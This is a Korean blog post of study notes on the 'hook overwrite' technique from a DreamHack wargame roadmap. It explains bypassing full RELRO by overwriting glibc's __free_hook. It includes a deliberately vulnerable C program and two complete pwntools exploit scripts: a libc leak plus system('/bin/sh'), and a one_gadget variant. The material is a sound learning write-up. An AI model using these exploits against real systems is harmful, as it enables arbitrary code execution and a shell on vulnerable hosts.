Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] stage8_Hook Overwrite 본문

Hack/DreamHack(로드맵)

[System_Hacking] stage8_Hook Overwrite

CIDY 2022. 7. 3. 00:41

훅 오버라이트는 full relro우회 기법이다. 일단 relro는 쓰기 권한을 조정하는 보호기법인데,

 

안 걸려있으면 뭐 아무데나 쓸 수 있는거고, partial relro면 .init_array랑 .fini_array 못 쓰고, full relro면 거기에다 got영역까지 못 쓰게 된다.

 

즉 got overwrite를 할 길이 막히게 되는건데, 이를 우회하는 방법이 Hook overwrite이다.

 

 

malloc, free, realloc을 통해 훅 오버라이트를 할 수 있는데...얘네 함수들은 각각 __malloc_hook. __free_hook, __realloc_hook이라는 훅 변수를 가진다. 각 함수들은 자기 훅 변수의 값이 NULL인지 검사 후 널이 아니면 malloc이나 free등 함수를 실행하기 전에 자신의 훅 변수가 가리키는 함수를 먼저 실행하게 된다. (이때 malloc이나 free에 준 인자는 각각의 훅 함수에 전달됨.)

 

얘네 훅 변수들이 어디 있는지가 포인트인데, 얘네들도 libc.so에 정의돼 있다. 근데 libc.so의 bss영역에 있음. -> 조작 가능

 

그러니까, 훅 변수를 system으로 덮어 malloc("/bin/sh")를 실행시키면, 위에서 malloc에 준 인자는 훅 함수에 전달된다고 했으니 system("/bin/sh")가 되는 거다.

 

요약 : full relro가 적용된 바이너리도 라이브러리 훅에는 쓰기권한이 남아있어서 공격 가능하다.

 

 

*예제

// 64-bit, canary, nx, pie, full relro
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
  puts("[2] Arbitrary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;
  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);
  return 0;
}

 

__free_hook같은 애들도 모두 립시에 있기 때문에 활용하기 위해서는 립시릭이 우선이다. 이 문제는 매우매우매우 친절하게도 addr 에 __free_hook을 넣고, value에 system을 넣고, 마지막에 binsh까지 보내주면 되도록 세팅되어 있다.

 

binsh역시 libc에서 찾아볼 수 있음을 알 것이다.

 

list(libc.search(b"/bin/sh))[0] 

next(libc.search(b"/bin/sh))

 

로 찾을 수 있다. 물론 libc에 있으니까 당연히 베이스에 더해주면 되고.

 

풀이 1 : 

from pwn import *

p = process("./hook")
e = ELF("./hook")
libc = e.libc

p.recvuntil(b"Buf: ")
p.send(b"A" * 0x48)
p.recvuntil(b"Buf: ")
p.recvn(0x48)

start = u64(p.recvuntil(b"\x7f").ljust(8, b"\x00")) 
p.recvn(1)
libc_base = start - 243 - libc.sym['__libc_start_main']
print(hex(libc_base))
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
print(hex(free_hook))
binsh = libc_base + next(libc.search(b"/bin/sh"))

p.recvuntil(b"To write: ")
p.sendline(str(free_hook))

p.recvuntil(b"With: ")
p.sendline(str(system))

p.recvuntil(b"To free: ")
p.sendline(str(binsh))

p.interactive()

 

뭘 이용하는지만 달라졌을 뿐 비슷비슷하다.

 

풀이 2 :

from pwn import *

p = process("./hook")
e = ELF("./hook")
libc = e.libc

one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]

p.recvuntil(b"Buf: ")
p.send(b"A" * 0x48)
p.recvuntil(b"Buf: ")
p.recvn(0x48)

start = u64(p.recvuntil(b"\x7f").ljust(8, b"\x00")) 
p.recvn(1)
libc_base = start - 243 - libc.sym['__libc_start_main']
print(hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
print(hex(free_hook))


oneshot = libc_base + one_gadget[1]

p.recvuntil(b"To write: ")
p.sendline(str(free_hook))

p.recvuntil(b"With: ")
p.sendline(str(oneshot))

p.recvuntil(b"To free: ")
p.sendline(str(0x3333))

p.interactive()

 

2번은 원가젯 풀이다. 만약 이용할 free나 malloc이 검증조건에 의해 정수밖에 입력을 안 받는다거나..하면 인자로 /bin/sh를 넣기는 무리다. 인자를 안 받는 원가젯을 훅 변수가 가리키게 해서 풀 수도 있다.